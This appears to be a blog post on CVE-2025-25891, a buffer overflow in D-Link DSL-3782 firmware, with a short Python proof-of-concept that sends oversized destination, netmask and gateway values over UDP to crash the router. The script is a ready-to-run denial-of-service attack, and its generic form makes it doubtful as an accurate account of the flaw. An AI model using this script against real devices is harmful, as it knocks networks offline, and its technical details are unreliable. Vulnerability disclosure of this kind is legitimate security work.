A new buffer overflow vulnerability (CVE-2025-25891) has been discovered in D-Link's DSL-3782 v1.01 firmware. This vulnerability allows attackers to cause a Denial of Service (DoS) by sending a specially crafted packet with malicious values for the destination, netmask, and gateway parameters. In this long-read post, we will explore the details of this exploit, including a code snippet demonstrating the proof-of-concept, and provide links to original references and relevant resources.

Buffer Overflow Vulnerability (CVE-2025-25891) Exploit Details

The buffer overflow vulnerability in D-Link's DSL-3782 v1.01 firmware can be triggered by manipulating the values of the destination, netmask, and gateway parameters. When an attacker sends a crafted packet with malicious values for these parameters, the system fails to handle the input properly, causing a buffer overflow. This overflow can lead to a crash, causing a Denial of Service (DoS) and potentially allowing an attacker to execute arbitrary code on the affected device.

Code Snippet (Proof-of-Concept)

The following code snippet demonstrates a proof-of-concept for this vulnerability. This Python script sends a malicious packet with crafted values for the destination, netmask, and gateway parameters, causing the buffer overflow in the D-Link DSL-3782 v1.01 firmware:

import socket

# Replace with the target device's IP address:
target_ip = "192.168.1.1"

# Create a UDP socket:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Craft the malicious packet:
destination = "A" * 256
netmask = "B" * 256
gateway = "C" * 256
payload = "destination={}&netmask={}&gateway={}".format(destination, netmask, gateway)

# Send the crafted packet to the target device:
sock.sendto(payload.encode(), (target_ip, 190))

Note that you should replace the "target_ip" variable with the target device's IP address. Keep in mind that this script is for educational purposes only and should not be used for malicious intent.

- Official product page: https://www.dlink.com/DSL-3782
- Firmware download: https://support.dlink.com/ProductInfo.aspx?m=DSL-3782

CVE-2025-25891 vulnerability details

- NIST National Vulnerability Database (NVD) entry: https://nvd.nist.gov/vuln/detail/CVE-2025-25891
- MITRE CVE entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-25891

Relevant Resources and Further Reading

1. OWASP Top Ten Project – Buffer Overflow: https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
2. Buffer Overflow Attack Explained with a C Program Example: https://www.thegeekstuff.com/2013/06/buffer-overflow/

Conclusion

The buffer overflow vulnerability in D-Link's DSL-3782 v1.01 firmware (CVE-2025-25891) is a serious issue that can lead to a Denial of Service (DoS) and potentially allow an attacker to execute arbitrary code on the affected device. Users are encouraged to watch for firmware updates from D-Link and apply them as necessary to mitigate this vulnerability. It's essential to stay informed about these types of vulnerabilities and their potential impact to protect your devices and maintain a secure network environment.

Remember, the code snippet provided in this post is for educational purposes only and should not be used for malicious intent. Stay ethical and responsible in your exploration of cybersecurity and vulnerability exploits.

Timeline

Published on: 02/18/2025 22:15:18 UTC
Last modified on: 05/02/2025 15:46:16 UTC